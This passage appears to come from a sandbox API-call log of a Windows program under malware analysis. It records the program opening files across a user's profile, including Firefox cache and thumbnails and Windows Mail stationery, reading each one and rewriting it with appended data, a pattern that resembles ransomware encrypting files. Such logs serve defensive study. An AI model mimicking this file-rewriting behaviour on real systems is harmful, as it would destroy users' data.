dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ff000 [0064.225] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.227] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1ff000 [0064.227] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.230] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0064.230] WriteFile (in: hFile=0x1b0, lpBuffer=0x26ff0a8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0a8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0064.231] WriteFile (in: hFile=0x1b0, lpBuffer=0x26ff0a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x26ff0a8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0064.231] CloseHandle (hObject=0x1b0) returned 1 [0064.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xe8 [0064.232] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.232] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.232] ReleaseMutex (hMutex=0x128) returned 1 [0064.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Soft Blue.htm", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0064.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Soft Blue.htm", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Soft Blue.htm", lpUsedDefaultChar=0x0) returned 13 [0064.232] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x340f2bc*=0xe8, lpOverlapped=0x0) returned 1 [0064.233] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0064.233] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x670, lpOverlapped=0x0) returned 1 [0064.233] CloseHandle (hObject=0x1b0) returned 1 [0064.233] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\9\\10\\16A09d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\9\\10\\16a09d01"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x534f [0064.234] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.234] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.234] ReleaseMutex (hMutex=0x128) returned 1 [0064.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16A09d01", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0064.234] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16A09d01", cchWideChar=8, lpMultiByteStr=0x1e6340c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16A09d01", lpUsedDefaultChar=0x0) returned 8 [0064.234] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.236] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x434f [0064.236] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0064.236] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x434f [0064.236] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0064.236] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0064.236] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d86ad8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d86ad8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0064.236] CloseHandle (hObject=0x1b0) returned 1 [0064.237] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\_CACHE_002_" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\_cache_002_"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0064.237] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.238] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x400000 [0064.238] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0064.238] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0064.238] ReleaseMutex (hMutex=0x128) returned 1 [0064.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_CACHE_002_", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0064.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_CACHE_002_", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_CACHE_002_", lpUsedDefaultChar=0x0) returned 11 [0064.238] ReadFile (in: hFile=0x1b0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.241] ReadFile (in: hFile=0x1b0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0064.242] ReadFile (in: hFile=0x1b0, lpBuffer=0x26d0018, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0064.244] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3fe000 [0064.244] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x2000, lpOverlapped=0x0) returned 1 [0064.245] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3fe000 [0064.245] WriteFile (in: hFile=0x1b0, lpBuffer=0x272d308*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x272d308*, lpNumberOfBytesWritten=0x340f28c*=0x2588, lpOverlapped=0x0) returned 1 [0067.681] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0067.681] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0067.682] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0067.683] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x2000, lpOverlapped=0x0) returned 1 [0067.683] CloseHandle (hObject=0x1b0) returned 1 [0067.683] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\4cc87c1409819bf06f42b782d4902b2f.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.684] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.684] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x40b0 [0067.684] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.684] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.684] ReleaseMutex (hMutex=0x128) returned 1 [0067.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4cc87c1409819bf06f42b782d4902b2f.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0067.684] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="4cc87c1409819bf06f42b782d4902b2f.png", cchWideChar=36, lpMultiByteStr=0x1eb2084, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4cc87c1409819bf06f42b782d4902b2f.png", lpUsedDefaultChar=0x0) returned 36 [0067.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0067.686] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x30b0 [0067.686] ReadFile (in: hFile=0x1b0, lpBuffer=0x261d7d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0067.687] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x30b0 [0067.688] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0067.688] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0067.688] WriteFile (in: hFile=0x1b0, lpBuffer=0x261d7d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d7d8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0067.688] CloseHandle (hObject=0x1b0) returned 1 [0067.688] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\23b523c9e7746f715d33c6527c18eb9d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.689] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.689] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x145 [0067.689] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.689] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.689] ReleaseMutex (hMutex=0x128) returned 1 [0067.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23B523C9E7746F715D33C6527C18EB9D", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0067.689] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="23B523C9E7746F715D33C6527C18EB9D", cchWideChar=32, lpMultiByteStr=0x1eb2084, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="23B523C9E7746F715D33C6527C18EB9D", lpUsedDefaultChar=0x0) returned 32 [0067.689] ReadFile (in: hFile=0x1b0, lpBuffer=0x27c3518, nNumberOfBytesToRead=0x145, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27c3518*, lpNumberOfBytesRead=0x340f2bc*=0x145, lpOverlapped=0x0) returned 1 [0067.690] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.690] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6cd, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x6cd, lpOverlapped=0x0) returned 1 [0067.690] CloseHandle (hObject=0x1b0) returned 1 [0067.690] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\705a76de71ea2caebb8f0907449ce086_9752c5b2d53ee7a19f7764b52968ec21"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.691] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.691] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x648 [0067.691] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.691] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.691] ReleaseMutex (hMutex=0x128) returned 1 [0067.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpUsedDefaultChar=0x0) returned 65 [0067.691] ReadFile (in: hFile=0x1b0, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x648, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x340f2bc*=0x648, lpOverlapped=0x0) returned 1 [0067.693] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.693] WriteFile (in: hFile=0x1b0, lpBuffer=0x2628b38*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2628b38*, lpNumberOfBytesWritten=0x340f2d0*=0xbd0, lpOverlapped=0x0) returned 1 [0067.693] CloseHandle (hObject=0x1b0) returned 1 [0067.693] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8059e9a0d314877e40fe93d8ccfb3c69_581c904db5924e46a6c1a8637614a40e"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.694] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.694] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1cf [0067.694] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.694] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.694] ReleaseMutex (hMutex=0x128) returned 1 [0067.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.694] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpUsedDefaultChar=0x0) returned 65 [0067.694] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1cf, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x340f2bc*=0x1cf, lpOverlapped=0x0) returned 1 [0067.695] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0067.695] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x757, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x340f2d0*=0x757, lpOverlapped=0x0) returned 1 [0067.695] CloseHandle (hObject=0x1b0) returned 1 [0067.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\8e4e510f44a56b8c8ecfec352907c373_411140098d71f028134e9b8a21255c61"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0067.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x59d [0067.696] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0067.696] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0067.696] ReleaseMutex (hMutex=0x128) returned 1 [0067.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0067.696] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpUsedDefaultChar=0x0) returned 65 [0067.696] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08, nNumberOfBytesToRead=0x59d, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesRead=0x340f2bc*=0x59d, lpOverlapped=0x0) returned 1 [0067.698] SetFilePointer (in: hFile=0x1b0, 